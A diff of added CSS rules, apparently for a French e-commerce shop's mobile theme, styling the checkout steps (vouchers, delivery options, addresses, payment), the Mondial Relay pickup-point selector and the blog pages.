+body form#voucher.std .submit{ + width:258px; +} +body form#voucher.std .text div{ + width:236px; +} +body form#voucher.std .text div input{ + width:216px; + background:url('../img/inputText236.png') no-repeat 0 0; +} +body form#voucher.std .submit .ui-btn input, +body form#voucher.std .submit .ui-btn span, +body form#voucher.std .submit .ui-btn{ + line-height:34px; + height:34px; + margin:0; + -moz-border-radius:0; + -webkit-border-radius:0; + border-radius:0; +} +body form#voucher.std .submit .ui-btn{ + width:100%; + text-align:center; + padding:0; +} + +.delivery_options .ui-radio label{ + border:1px solid #e6e6e6; + height:100px; + margin:10px 0; +} +.delivery_options .ui-radio label .ui-btn-inner{ + padding:20px 10px 20px 40px; + height:60px; +} +.delivery_options .ui-radio label .ui-btn-inner table{ + height:60px; + margin:0; + padding:0; + width:100%; + vertical-align:middle; +} +.modes2 .delivery_options .ui-radio label{ + height:150px; +} +.modes2 .delivery_options .ui-radio label .ui-btn-inner, +.modes2 .delivery_options .ui-radio label .ui-btn-inner table, +.modes2 .delivery_options .ui-radio label .ui-btn-inner td{ + height:110px +} +.modes2 .delivery_options .ui-radio .ui-icon { + top: 65px; +} +.delivery_options .ui-radio label .ui-btn-inner td{ + text-align:center; + vertical-align:middle; + padding:0; + font-size:14px; + font-weight:normal; + height:60px; + line-height:22px; +} +.delivery_options .ui-radio label .ui-btn-inner td .delivery_option_delay{ + color:#8daa01; +} +.delivery_options .ui-radio label .ui-btn-inner td .delivery_option_price{ + white-space:nowrap; +} +.delivery_options .ui-radio label .ui-btn-inner td:first-child{ + width:210px; + padding:0 0 0 20px; + font-size:18px; + font-weight:bold; + line-height:24px; + text-align:left; +} +.modes2 .delivery_options .ui-radio label .ui-btn-inner td{ + font-size:18px; + font-weight:bold; + line-height:24px; + text-align:center; + width:auto; +} +.modes2 .delivery_options .ui-radio label .ui-btn-inner td .delivery_option_title{ + font-size:20px; +} +.delivery_options .ui-radio .ui-icon{ + left: 20px; + top: 42px; +} +.delivery_options .ui-radio .ui-radio-on{ + background:#e6e6e6; +} +.delivery_options .ui-radio .ui-radio-off{ + background:radial-gradient(#ffffff, #F9F9F9) repeat scroll 0 0 #F9F9F9 +} +#order-detail-content table.std #cart_voucher{ + border:0!important; + padding-bottom:0!important; +} +#order-detail-content table.std #cart_voucher fieldset{ + margin:0; +} +#order-detail-content table.std #cart_voucher fieldset div.text{ + min-height:40px; +} +#modeDeLivraison p.grey6{ + color:#666666; + font-size:12px; + letter-spacing: -0.035em; + text-align: justify; +} +#modeDeLivraison p.grey6 a{ + color:#666666; + font-size:14px; + text-decoration:underline; +} +#modeDeLivraison{ + padding: 0 0 20px; + border-top:2px solid #000000; + border-bottom:2px solid #000000; + margin:0 0 30px; +} +#modeDeLivraison .carriers_list{ +} +#modeDeLivraison h2{ + font-size:25px; + border:0; + margin:0; + padding:30px 0 20px; + text-align:center; + font-weight:normal; +} +#echantillons{ + padding:0 0 30px; + border-bottom:2px solid #000000; + margin:0 0 10px; +} +#echantillons h2{ + border: 0 none; + font-size: 25px; + font-weight: normal; + letter-spacing: -0.03em; + margin: 0; + padding: 0 0 20px; + text-align: center; + text-transform: uppercase; + text-align:center; +} +#echantillons ul{ + margin:0; + padding:0; +} +#echantillons li{ + float:left; + width:166px; + height:160px; +} +#echantillons li label{ + float:left; + width:166px; + height:160px; + margin:0; + background: linear-gradient(#ffffff, #fdfdfd) repeat scroll 0 0 #fdfdfd; + border: 1px solid #ebebea; +} +#echantillons li{ + position:relative; +} +#echantillons li span.titreProduit{ + display:none; + background:url('../img/EchantillonTitreProduit.png') repeat 0 0; + width:100%; + height:100%; + min-height:160px; + position:absolute; + top:-10px; + left:0; + z-index:1; + color:#ffffff; + font-size:14px; + line-height:14px; + text-transform:uppercase; + vertical-align:middle; + font-weight:normal; +} +#echantillons li:hover span.titreProduit, +#echantillons li:focus span.titreProduit{ + display:block; +} +#echantillons li span.titreProduit td{ + height:160px; + padding:0 10px; + vertical-align:middle; + text-align:center; +} +#echantillons li label .ui-btn-inner{ + padding:10px 0; + width:166px; + height:140px; +} +#echantillons li label .ui-btn-inner .ui-btn-text{ + width:100%; + text-align:center; + float:left; + height: 140px; +} +#echantillons li label .ui-btn-inner .ui-icon{ + left: 120px; + top: 114px; + z-index:3; +} +#echantillons .ui-checkbox{ + +} +form .totalTTC{ + text-align:right; + font-weight:bold; + font-size:25px; + padding:0 0 40px; +} +.order-opc-leftColumn{ + padding:0 0 40px; +} +.bgf2f2f2{ + background:#f2f2f2; + padding:50px 0; + text-align:center; +} + + + +#paiements_securises .titre{ + padding:0 0 30px; + text-align:center; + font-size:35px; + font-weight:normal; + font-family:Times New Roman; + display:block; + color:#000000; +} + + + +.type-interior .order-opc-rightColumn .block{ + background:#fafafa; + border:1px solid #d9d9d9; + padding:20px 40px; + margin:0 0 40px; +} +.type-interior .order-opc-rightColumn .product_images, +.type-interior .order-opc-rightColumn .block_content{ + padding:0; + margin:0; +} +.type-interior .order-opc-rightColumn .block.products_block{ + background:#ffffff; + border:1px solid #d9d9d9; +} +.type-interior .order-opc-rightColumn .title_block{ + padding:0 0 10px; + margin:0; +} +.type-interior .order-opc-rightColumn .block.products_block .title_block{ + padding:0 0 13px; +} +.type-interior .order-opc-rightColumn .title_block, +.type-interior .order-opc-rightColumn .title_block a{ + background:none; + color:#000000; + display:block; + font-size:30px; + font-weight:bold; + font-family:Times New Roman; + text-transform:uppercase; +} +.type-interior .order-opc-rightColumn .block li{ + padding:0 0; + color:#000000; + list-style:none; + line-height:15px; + display:block; +} +.type-interior .order-opc-rightColumn .block li a{ + background:url('../img/etoileLi.png') no-repeat 0 center; + line-height:30px; + font-size:25px; + color:#000000; + padding:10px 0 10px 30px; + display:block; +} + +.type-interior .order-opc-rightColumn .block.products_block li{ + padding:30px 0; + line-height:30px; + list-style:none; + border-top:2px solid #dddddd; + background:none; + height:150px; + font-size:25px; + clear:both; + +} +.type-interior .order-opc-rightColumn .block.products_block li a{ + background:none; + padding:0; + font-size:20px; +} +.type-interior .order-opc-rightColumn .block.products_block li a.content_img{ + border:#e6e6e6; + float:left; + width:150px; + height:150px; + margin:0 30px 0 0; + padding:0; + text-align:center; + background:radial-gradient(#ffffff, #fefefe) repeat scroll 0 0 #fefefe; + border:1px solid #e6e6e6; + +} +.type-interior .order-opc-rightColumn .block.products_block li img{ + height:150px; +} +.type-interior .order-opc-rightColumn .block.products_block li a.button{ + background:#f0f0f0; + border:0; + font-size:20px; + line-height:40px; + height:40px; + padding:0 40px; + float:left; + margin:20px 0; + text-transform:uppercase; + width:auto; +} +.type-interior .order-opc-rightColumn .block.products_block li a.button:hover{ + background:#B9DA1A; +} +.type-interior .submitTop{ + float:right; +} +.type-interior .submitTop .button{ + float:right; + margin:0 0 0 10px; + line-height:36px; + height:36px; + font-size:13px; +} +.type-interior .submitTop input.button{ + padding-bottom:2px; +} +.type-interior .submitTop input.button, +.type-interior .submitTop .button:first-child{ + line-height:38px; + height:38px; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A!important +} + +/* address */ + +#content.address #left_column, +#content.addresses #left_column {display:none} +#content.addresses #center_column{} +#content.addresses #center_column h1, +#content.address #center_column h1 {margin-bottom:20px;border-bottom:1px solid black;padding:10px 0 20px 0 ;} +#content.address #center_column h2, +#content.addresses #center_column h2 {color:#8daa01;font-size:16px;font-weight:normal;font-family:Arial,Sans-serif;} +#content.address.addresses, +#content.addresses .addresses{ + color:#000000; + width:468px; + font-size:12Px; +} +#content.address #center_column fieldset{margin:0;} +#content.address .addresses h3, +#content.addresses .addresses h3 { + font-weight:normal; + font-size:13px; + border-bottom:1px solid #cccccc; + padding:20px 0; + margin:0 0 20px; + font-size:12px; + font-weight:bold; + text-transform:uppercase; + color:#000000; +} +#content.address .addresses h3 a.btRight, +#content.addresses .addresses h3 a.btRight{ + float:right; + background:#f0f0f0; + color:#000000; + padding:0 10px; + line-height:19px; + height:19px; + font-size:11Px; + margin:0 0 0 10px; + font-size:11px; + font-weight:normal; + text-transform:none; +} +#content.addresses .addresses ul{ + padding:0 0 20px; + +} + + +#content.address p { + padding-bottom:10px; +} +#content.address form.std fieldset { +} +#content.address form.std fieldset p.radio span, +#content.address form.std fieldset p.textarea label, +#content.address form.std fieldset p.select label, +#content.address form.std fieldset p.text label{ + width:296px; + text-align:left; + float:left; + width:202px; +} +#content.address form.std fieldset p.password input, +#content.address form.std fieldset p.text input{ + margin:4px 0 10px; +} +#content.address p.text small{ + float:left; + margin:-12px 0 0; + width:489px; + font-size:11Px; + color:#b2b2b2; + font-weight:normal; + font-style:italic; +} +#content.address form.std fieldset p sup{ + vertical-align:5px; +} +#content.address form.std fieldset p.text a.savoir_plus{ + float:right; + color:#000000; + text-decoration:underline; + font-weight:bold; + font-style:normal; + font-size:11px +} + + +#content.address form.std p.text{ + color: #000000; + font-size: 13px; + line-height: 42px; + text-align: left; +} +#content.address form.std fieldset p.bold{ + font-weight:bold; +} +#content.address form.std fieldset p.checkbox{ + padding:0 0 10px; + font-size:13px; +} +#content.address form.std p.submit{ + padding:10px 0 30px; +} + +#content.address form.std p.submit{ + padding-left:0; +} + +#content.order .addresses .select{ + margin-left:80px; + min-height:0; +} +#content.order .addresses .select .ui-select .ui-btn-text{ + text-align:left; +} +#content.order .ui-body-c .submit .ui-link.button.simple{ + padding: 0 20px; +} +#content.order .submitGrey{ + padding:20px 0 0px; + height:37px; + margin:0 0 30px; +} +#content.order .submitGrey a{ + float:left; + width:340px; + height:35px; + color:#000000; + background:#f0f0f0; + text-align:center; + border:0; + padding:0; +} +#content.order .submitGrey a.edit_delivery{ + width:200px; + float:right; +} +#content.order_address ul.address{ + background:#fafafa; + padding:20px; + height:auto!important; +} +#content.order_address ul.address li{ + list-style:none; + font-size:18px; +} + +#content.order_address ul.address li.address_title, +#content.order_address ul.address li.address_update{ + display:none; +} + +#ordermsg{ + display:block; + background:#f0f0f0 url('../../img/messagePersonnel.jpg') no-repeat center center; + width:400px; + height:139px; + padding:123px 104px 70px 106px; + margin:0 0 0 -43px; +} +#ordermsg .textarea textarea{ + width:410px; + height:119px; + padding:10px; + margin:0; + color:#000000; +} +#ordermsg p {padding:0} +#ordermsg p.txt { + display:none; +} +/*#ordermsg .textarea {float:right}*/ +#ordermsg .textarea textarea { + width:432px; + height:138px; + padding:10px; + border:0; + color:#000000; + font-size:12px; + background:none; +} + + +#HOOK_PAYMENT{ + float:left; + width:552px; +} +#HOOK_PAYMENT .payment_module{ + float:left; + width:511px; + height:319px; + padding:20px; + text-align:center; + margin:0 0 20px; + background:radial-gradient(#ffffff, #fbfbfb) repeat scroll 0 0 #fefefe; + border:1px solid #ebebea; + border-radius: 1px; + -webkit-border-radius:1px; + border-radius:1px; +} +#HOOK_PAYMENT .payment_module strong{ + font-size:30px; + font-weight:bold; + padding:30px 0; + display:block; + line-height:24px; +} +#HOOK_PAYMENT .payment_module a{ + display:block; + padding:0 0 26px; +} +#HOOK_PAYMENT .payment_module a.button{ + float:left; + padding:0; + width: auto; + line-height:44px; + height:44px; + margin:0 0 30px 102px; + text-transform:uppercase; + font-size:21px; + font-family:Times New Roman; + background: linear-gradient(#B9DA1A, #B9DA1A) repeat scroll 0 0 #A9C717 ; + border: 1px solid #A9C717; + border-radius: 1px; + -webkit-border-radius:1px; + border-radius:1px; +} +#HOOK_PAYMENT .payment_module a.button span{ + padding: 0 60px 0 40px; + background:url('../img/flecheSubmit.png') no-repeat right center; +} +#HOOK_PAYMENT .payment_module a.small{ + clear:both; + color:#999999; + font-size:14px; + display:block; + padding:0 20px; + line-height:20px; +} + +body .ui-input-text.ui-focus, +body .ui-input-search.ui-focus{ +box-shadow:none; +} +#content.order.step3 #order-detail-content{ + clear:both; + padding:30px 20px; + /*background: radial-gradient(#ffffff, #ebebea) repeat scroll 0 0 #ebebea ;*/ + background:radial-gradient(#ffffff, #fbfbfb) repeat scroll 0 0 #fefefe; + border:1px solid #ebebea; + border-radius: 1px; + -webkit-border-radius:1px; + border-radius:1px; +} +#content.order.step3 #order-detail-content h2{ + font-size:30px; + font-weight:bold; + padding:0 0 20px; + border-bottom:2px solid #000000; + margin:0 0 20px; +} +#content.order.step3 #order-detail-content h3{ + font-size:20px; + font-weight:bold; + padding:0 0; + border-bottom:0; + margin:0; + text-transform:uppercase; +} +#content.order.step3 #order-detail-content .cart_total h3{ + padding:0 0 10px; + line-height:30px; +} +#content.order.step3 #order-detail-content .cart_total p{ + padding:0 0 20px; + line-height:30px; +} +#content.order.step3 #order-detail-content a.button_grey{ + background:#f0f0f0; + text-transform:uppercase; + font-size:16px; + padding:0; + width:130px; + height:30px; + line-height:30px; + float:left; + text-align:center; +} +#content.order.step3 #order-detail-content td{ + border-bottom:2Px solid #cccccc; + padding-top:30px; + padding-bottom:30px; +} +#content.order.step3 #order-detail-content tfoot tr.cart_total td{ + border-bottom:2px solid #000000; + padding:50px 0; +} +#content.order.step3 #order-detail-content td#total_price_container span{ + display:block; + font-size:25px; + font-weight:bold; + padding:0 0 10px; + line-height:30px; + text-align:right; +} +#content.order.step3 #order-detail-content td#total_price_container small{ + display:block; + font-size:20px; + font-weight:normal; + line-height:30px; + text-align:right; +} +#content.order.step3 #order-detail-content .cart_description{ + float: left; + width: 370px; +} +#content.order.step3 #order-detail-content .cart_quantity, +#content.order.step3 #order-detail-content .cart_total{ + font-size:25px; + padding-top:20px; +} +#content.order.step3 #order-detail-content .cart_product{ + float:left; +} +#content.order.step3 #order-detail-content .orderAdresses{ + padding:0 0 50px; + border-bottom:2px solid #cccccc; + margin:0 0 50px; +} +#content.order.step3 #order-detail-content .orderAdresses td{ + border:0; + width:180px; + padding:0 50px 0 20px; +} +#content.order.step3 #order-detail-content .orderAdresses td:first-child{ + border-right:1px solid #cccccc; + padding:0 50px 0 0; + width:200px; +} +#content.order.step3 #order-detail-content .orderAdresses td ul, +#content.order.step3 #order-detail-content .orderAdresses td li{ + list-style:none; + padding:0; + line-height:30px; +} +.borderGreen h1, +#order-opc h1, +#order h1, +#address h1, +#addresses h1, +#my-account h1, +#identity h1, +#authentication h1, +#diagnostic h1, +#cms h1, +#espacepharmaciens h1{ + margin:0 0 40px; + padding-bottom:30px; + border-bottom:2px solid #000000; +} +.type-interior #content.order .borderGreen{ + padding:30px 43px 30px 43px; +} + +body .ui-btn-up-c{ + background: linear-gradient(#B9DA1A, #B9DA1A) repeat scroll 0 0 #A9C717; + border: 1px solid #A9C717; +} + +li.nosProduits{ + width: 100px!important; +} +.sf-menu li.selected a{ + color:#BFDA3F!important; +} +body #offrefidelite .borderGreen { + width: 530px; + padding:30px 56px; +} +body #offrefidelite form.std .naissance{ + padding-top:10px; +} +body #offrefidelite form.std .naissance label.ui-select{ + width:146px; + padding:0; +} +body #offrefidelite form.std .textarea label, +body #offrefidelite form.std .text label, +body #offrefidelite form.std .select label{ + width:140px; + padding:0; +} +.ui-mobile .breadcrumb, +.ui-mobile .breadcrumb span.navigation_page{ + color:#BFDA3F; +} + +body #diagnostic form.std .radio label.ui-btn{ + width:auto; + float:left; +} +body form.std .checkbox.auto .ui-btn {width:100%;margin:0;} +body #product #add_to_cart input{ + width:100%; + height:44px; +} + +.orderConfirm{ + padding:50px; + display:block; + border:1px solid #e6e6e6; + background-image:-webkit-gradient(linear,left top,left bottom,from( #fafafa ),to( #f7f7f7 )); + background-image:-webkit-linear-gradient( #fafafa,#f7f7f7 ); + background-image:-moz-linear-gradient( #fafafa,#f7f7f7 ); + background-image:-ms-linear-gradient( #fafafa,#f7f7f7 ); + background-image:-o-linear-gradient( #fafafa,#f7f7f7 ); + background-image:linear-gradient( #fafafa,#f7f7f7 ) +} +.orderConfirm p{ + font-size:18px; +} + + +.mondialRelay{ + width:610px; + float:left; + margin:0 0 0 -75px; +} + +.mondialRelay li, +.mondialRelay ul{ + padding:0; + margin:0; + list-style:none; +} +.PS_MRRelayPointInfo{ + float:left; + padding:0 15px 15px 0; +} +.PS_MRRelayPointInfo.item0{ + float:left; + width:290px; +} +.PS_MRRelayPointInfo.item1{ + float:right; + width:290px; + padding:0; +} +.mondialRelay .PS_MRRelayPointInfo.item0{ + clear:both; +} +.mondialRelay .PS_MRRelayPointInfo p{ + float:none; + width:auto; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected, +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelecteIt{ + display:block; + background:none; + padding:0; + margin:0; + min-height:30px; + padding:0 0 20px; +} +.mondialRelay .PS_MRRelayPointInfo p, +.mondialRelay .PS_MRRelayPointInfo p{ + text-align:left; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected input, +.mondialRelay .PS_MRFloatRelayPointSelecteIt input{ + float:left; + margin:12px 6px 10px 0; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected label, +.mondialRelay .PS_MRFloatRelayPointSelecteIt label{ + display:block; + padding:0 0 0 10px; + font-size:14px; + font-weight:bold; + color:#000000; +} +.mondialRelay .PS_MRRelayPointInfo img { + float: left; + height: 40px; + padding: 0 0px; + margin:0 10px 20px 0; +} +body #fancybox-wrap{padding:0!important;left:0!important;width:640px!important;} +body #fancybox-wrap .block{background:#ffffff;border:0;color:#000000;} +body #fancybox-wrap .title_block{font-size:30px;text-align:center;margin:0 0 30px;color:#000000;text-transform:uppercase;} +body #fancybox-wrap .title_block{font-size:30px;text-align:center;margin:0 0 30px;} +body #fancybox-close{ + width:15px; + height:16px; + top:15px; + right:15px; + background:url('../img/fancyboxClose.png') no-repeat 0 0; +} +body #recevoirparmail .block_content{ + padding:0 50px +} +body #recevoirparmail form .text, +body #recevoirparmail form .ui-input-text{ + width: 311px; + min-height:37px; +} +body #recevoirparmail form .ui-input-text input{ + margin:0; +} +body #recevoirparmail form.std .submit input, +body #recevoirparmail form.std .submit .ui-btn-inner, +body #recevoirparmail form.std .submit .ui-btn{ + line-height:37px; + height:37px; +} + +#fancybox-wrap .title_block span.g, +.type-interior .title_block span.g, +#fancybox-wrap .title_block span.g, +.type-interior h3 span.g, +.type-interior h2 span.g, +.type-interior h1 span.g{ + color:#BFDA3F +} +.type-interior h3 sup, +.type-interior h2 sup, +.type-interior h1 sup{ + font-size:16px; + vertical-align:top +} +.type-interior strong sup, +.type-interior .breadcrumb sup{ + font-size:12px; + vertical-align:top +} +#barreMap{ + display:block; + height:40px; + color:#000000; + clear:both; + margin: 0 -52px; + width: 550px; +} +#barreMap div{ + float: left; + width: 360px; +} +#barreMap div.submit{ + float: right; + width: 187px; + margin: 38px 0 38px; +} +#barreMap label{ + float:left; + width:327px; + height:25px; + line-height:25px; + font-weight:bold; + font-size:18px; + text-transform:none; + margin:0 0 10px; +} +#barreMap input.inputTextMini161, +#barreMap input.inputTextMini291{ + border: 0 none; + color: #000000; + font-size: 16px; + margin: 0 10px 0 0; + padding: 0 8px; + background: url("../../img/inputText216.png") no-repeat scroll 0 0 transparent; + height: 40px; + line-height: 40px; + padding: 3px 10px 0; + width: 368px; + width: 200px; +} +#barreMap input.inputTextMini161{ + margin:0; + background: url("../../img/inputText116.png") no-repeat scroll 0 0 transparent; + width: 100px; +} +#barreMap a{ + float:right; + width:187px; + height:35px; + line-height:35px; + color:#ffffff; + background:url('../../img/mrSubmitMobile.png') no-repeat 0 center; + border:0; + margin:0; + padding:0; + font-size:18px; + font-family:Arial,Sans-Serif; + text-align:center; +} +.PS_MRGmapDefaultPosition{ + padding:0; + margin:0; +} +body .type-interior div.PS_MRGmapStyle { + display: block; + height: 300px; + margin: 0 0 0 -95px; + width: 640px; +} +body .type-interior div.PS_MRRelayPointInfo:hover{ + background:none; +} +.comment .colonne1, +.comment .colonne2{ + height:auto!important; +} +#fancybox-content, +#fancybox-content .ui-body-c, +#fancybox-content .ui-overlay-c{ + color:#000000; +} +#diagnostic .formulaire label .ui-btn-text{text-transform:none;} +#full-site-section{display:none;} + + +.mobile .boxPartage{ + float:none; + display:block; + height:120px; + border:1px solid #000000; + text-align:center; + padding:0px 0px 0; + margin:0 0 20px 0; +} +.mobile .boxPartage p{ + font-size:18px; + padding:20px 0 0; + clear:both; +} +.mobile .boxPartage.item3{ + width:auto; + height:100px; + padding:20px 20px 0; + float:none; + display:block; + margin: 0 0 20px 0; +} +.mobile .boxPartage.item1 a{ + font-size:18px; + display:block; + line-height:30px; + padding:64px 20px 0; + height:60px; + text-align:center; + background:url('../img/imprimerDiag.png') no-repeat center 17px; +} +.mobile .boxPartage.item2 a{ + font-size:18px; + display:block; + line-height:30px; + padding:60px 20px 0; + height:30px; + text-align:center; + text-transform:uppercase; + background:url('../img/mailDiag.png') no-repeat center 17px; +} +body .comment_content form .ui-input-text{ + width:100%; + float:none; +} +#sendComment p.text input, +body .comment_content form .ui-input-text input{ + background:none !important; + width:100% !important; + max-width:100%; + padding:0px; +} +body .comment_content form .textarea{ + float:none; + clear: both; + height:100px; + margin-top:20px; +} +body .comment_content form .textarea textarea{ + background:none !important; + padding:0 5px; + width:100%; + box-shadow:1px 1px 3px rgba(0, 0, 0, 0.3) inset; + max-width:100% !important; +} + +/*********** BLOG ************/ + +body#module-psblog-posts +{ + background:url("../../img/bg_blog.jpg") center center repeat-y #000; +} +.psblog_head h2{ + color:#fff; + height:150px; + text-align: center; +} + +div.article.borderGreen, +div#post_list li.borderGreen{ + padding:0px !important; + width:100% !important; + position:relative !important; + z-index:1 !important; + min-height: inherit !important; +} +div.article.borderGreen{ + background:none !important; +} + +.blog_block_right.posts_block ul li{ + border-top:7px solid #b9da1a; +} +/* +div.article.borderGreen .stared, +div#post_list li.borderGreen .stared{ + position:absolute; + height:75px; + text-align: center; + padding-top:24px; + width:113px; + color:#000; + z-index:2; + left:-56px; + top:-56px; + background:url("../../../themes/default/img/bg_star.png") center center no-repeat transparent; +} +*/ + +div.article.borderGreen .stared, +div#post_list li.borderGreen .stared{ + position:absolute; + height:75px; + text-align: center; + padding-top:46px; + width:113px; + color:#000; + z-index:2; + left:-56px; + top:-60px; + background:url("../../img/bg_star.png") center center no-repeat transparent; +} + +div.article.borderGreen span.stared span.top, +#post_list ul li span.stared span.top{ + font-family: 'ProximaNova'; + font-size:30px; + color:#000; + display:block; +} + + + +div.article.borderGreen span.stared span.bottom, +#post_list ul li span.stared span.bottom{ + font-family: 'ProximaNova'; + font-size:12px; + color:#000; + display:block; +} + + +#post_list ul li .detail_large{ + padding:0px 85px 20px 85px; + font-family: 'ProximaNova'; + font-size:15px; + color:#232323; + line-height:1.3em; +} + +.share .details a, +#post_list ul li .details span a{ + display: inline-block; + background: #000; + padding:5px 15px; + font-size:18px; + color:#fff; + text-transform: uppercase; + font-weight: normal; + font-style: normal; + margin:0 10px 10px 0; + font-family: 'ProximaNova'; +} +.posts_block .block_content p.pmore, +div.more{ + padding:0px 85px; + height:42px; + line-height:42px; + background:#000; + color:#b9da1a; + font-family: Times new roman, serif; + font-size:16px; + text-transform: uppercase; +} +.posts_block .block_content p.pmore{ + padding:0px 15px; +} +.posts_block .block_content p.pmore a{ + color:#b9da1a; +} +.triple_stared +{ + display: inline-block; + height:13px; + width:43px; + margin-left:10px; + background:url(../../img/triple_star.png) center center no-repeat #000; +} +body#module-psblog-posts #center_column{width:650px;} +body#module-psblog-posts #right_column{display:block; width:326px; margin-top:0px; } + +#psblog .search-keyword { color: #999; font-style: italic; border-bottom: 1px solid #999; padding: 0 0 5px 5px;} +#module-psblog-posts .breadcrumb{ } +#post_view .rte{ text-align:justify; } +#post_view .rte a{color:#b9da1a;} +#post_view .rte a:hover{color:#333;} +#post_view .rte h4, +#post_view .rte h4 *{ + font-weight: normal; + text-shadow:0px 0px 0px transparent; + font-family: 'ProximaNova'; + font-size: 18px !important; + text-transform: none; + text-align: left; + margin-bottom:10px; +} +#post_view .rte h4 strong{font-weight:bold;} +#post_view .rte p{ + color:#333; +} +#post_view .medias{ float:left; margin-right:5px; padding:0 5px; } +#post_view .media_list ul{ margin:0; padding:0; } +#post_view .media_list ul li{ display:block; margin:0; text-align:right; padding:0; margin-top:5px; text-align:center; } + +#post_view .categories{ margin:20px 0; } +#post_view .categories ul{ margin:0; padding:0; list-style-type:none; } +#post_view .categories ul li{float:left; margin-right:3px; } +#post_view .categories a{ text-decoration:underline; } + +#post_view .related{ margin:20px 0; } +#post_view .related ul{ list-style-type:none; } +#post_view .related a{ text-decoration:underline; } + +#post_view .rte img { display: block; width: 100%; } +#post_view .products h3 { border-top: 1px solid #000; color: #000; font-size: 12px; font-weight: bold; margin: 30px 0 0 0; padding: 10px 0; text-transform: uppercase; } +#post_view .products img{ display: block; } +#post_view .products h5{ padding:0; min-height:22px; text-transform: uppercase; width: 100%;} +#post_view .products h5 > span{ display: block; font-size:10px; font-weight:normal; font-style:italic; color:#666; } +#post_view .products p{ margin:0; padding:0; } +#post_view .products ul{ list-style-type:none; } +#post_view .products ul li{ padding:5px; background: none repeat scroll 0 0 #fff; border: 1px solid #ddd; width: 47%; } +#post_view .products ul li.odd{ float:left; } +#post_view .products ul li.even{ float:right; } +#post_view .products .text_desc{ float: left; margin: 2px 0 0 10px; width: 216px; font-size: 14px;} +#post_view .products a.content_img{ outline: medium none; display:block; float:left; display:block; } +#post_view .addthis_toolbox{ margin:10px 0 10px 0; } + +#postcomments{margin-top:10px;} +#postcomments h3 { background:rgba(255,255,255,0.3); font-style: italic; line-height:1.1em; color: #000; font-size: 36px; font-weight: normal; padding: 10px 85px; text-transform: capitalize; } +#postcomments table { background: #f5f5f5; border-top: 1px solid #d9d9d9; } +#postcomments table td:last-child { background: #fff; } +#postcomments table .comment-title { font-size: 14px; font-weight: bold; line-height: 18px; padding: 0 7px 10px 0; } +#postcomments .std thead th { background:none; } +#postcomments .std tbody td p span { font-weight:bold; } +#postcomments input[type=text]{ width:600px !important; } + +#post_list { color: #000; font-size: 12px; } +#post_list ul{ margin:0; padding:0; list-style-type:none; } +#post_list ul li{ margin:20px 0; padding:0 0 10px 0; list-style-type:none; border-bottom:1px solid #000; cursor: pointer; } +#post_list ul li:first-child{ + margin-top:0px; +} +#post_list ul li.first_item{ margin:0 0 20px 0; } +#post_list ul li.last_item{ border-bottom:none; } +#post_list ul li h3{ margin-top:0; margin-bottom:0; padding-bottom:5px; } + +#category_info span.bold{ font-weight:bold; } +#category_info h4{ font-size:13px; padding-bottom: 5px; } + +.article.borderGreen h3, +#post_list ul li h2 { padding: 0; } +.article.borderGreen h3 span.title, +#post_list ul li h2 a{ color: #000; line-height:1.15em; font-size: 26px; font-weight: normal; text-decoration:none; font-family: Times new roman, serif; font-style: italic; } +#post_list ul li h2 a:hover{ text-decoration:none; } +#post_list ul li p{ font-style: italic; padding-bottom:0; } +.article.borderGreen .img_default, +#post_list ul li .img_default{ margin: 0; position:relative; } +.article.borderGreen .img_default h3, +#post_list ul li .img_default h2{ position:absolute; bottom:0; left:0; right:0; padding:20px 86px; background:rgba(255,255,255,0.6); } +#post_list ul li.noimg .img_default h2{ position:relative; padding:20px 86px; background:rgba(0,0,0,0.1); } + +#post_list ul li .img_default a{ display:block; } +#post_list ul li .detail_left{ float:left; margin: 10px 0 0 0; width: 497px;} +#post_list ul li .excerpt { margin: 15px 0; text-align: justify; } + +#posts_home .block_content{ padding:5px 10px 5px 10px; } +#posts_home ul{ margin:0; padding:0; list-style-type:none; } +#posts_home ul li{ margin:0 0; padding:10px 0 5px 0; list-style-type:none; border-bottom:1px solid #D0D3D8; } +#posts_home ul li h3{ margin-top:0; margin-bottom:0; padding-bottom:5px; font-size:12px; } +#posts_home ul li h3 a{ text-decoration:none; } +#posts_home ul li h3 a:hover{ text-decoration:underline; } +#posts_home ul li span{ color:#999999; font-size:11px; } +#posts_home ul li .excerpt{ margin-top:5px; } +#posts_home ul li .img_default{ float:left; margin-right:5px; } +#posts_home ul li .img_default img{ border: 0; } +#posts_home ul li .detail_left{ float:left; width:400px; } +#posts_home ul li.last_item{ border:none; } + +.bt_left{ float:left; } +.bt_right{float:right; } +.clear{ clear:both; } +#posts_home h4 span{ font-size:10px; float:right; margin-right:5px; text-transform:none; } + +/* block search column */ +.post_search_block{ + border-top:7px solid #b9da1a; + margin-top:20px; + background:#000; + padding:5px 15px; + color:#fff !important; + cursor: pointer; +} +.post_search_block p{ + color:#fff; + padding:0px; + margin-top:5px; + font-size:16px; + text-transform: uppercase; +} +.post_search_block a{ + display: block; + margin:10px 0; + text-transform: uppercase; + font-size: 16px; + font-family: 'Times new roman', serif; + color:#b9da1a !important; +} +.post_search_block a:hover{ + text-decoration: none; +} +/* +.post_search_block .block_content{ padding:20px; background:rgba(255,255,255,0.3); } +.post_search_block input[type=text]{ + padding:0 8px; + line-height:28px; + width:225px; + height:28px; + border:1px solid #d2d2d2; + box-shadow:inset -1px 1px 2px rgba(0,0,0,0.2); + font-size:14px; + font-style: italic; + font-weight: normal; + color:#666; + font-family: 'ProximaNova'; + } + +.post_search_block input[type=submit] +{ + background:url(../../../themes/default/img/search.png) center center no-repeat #b9da1a; + border:1px solid #c4c4c4; + height:30px; + width:30px; + cursor: pointer; + top:-1px; + position:relative; + margin-top:-1px; + text-indent: -9999px; + +} + +.post_search_block p{ padding:0; font-weight:bold; } +*/ +.posts_block li{ } +.posts_block li.last_item{ border: none; } +.posts_block li a{ background: none; font-size: 14px; padding: 0; } +.posts_block li h5{ margin: 10px 0 0 0; } +.posts_block li h5 + span{ color: #777; } +.posts_block .post_img{ width:100%; } + +.posts_block .post_img img{ + min-width:100%; + width:100%; + max-width:100%; +} +.posts_block .content{ + padding:20px; +} +.posts_block .content h5{ + margin:0px; + padding:0px; + font-family:Times new roman, serif; + text-transform: uppercase; + font-size: 14px; + color:#000; + line-height:1.5em; +} +.posts_block .content span.date{ + color:#666; + font-size:14px; + 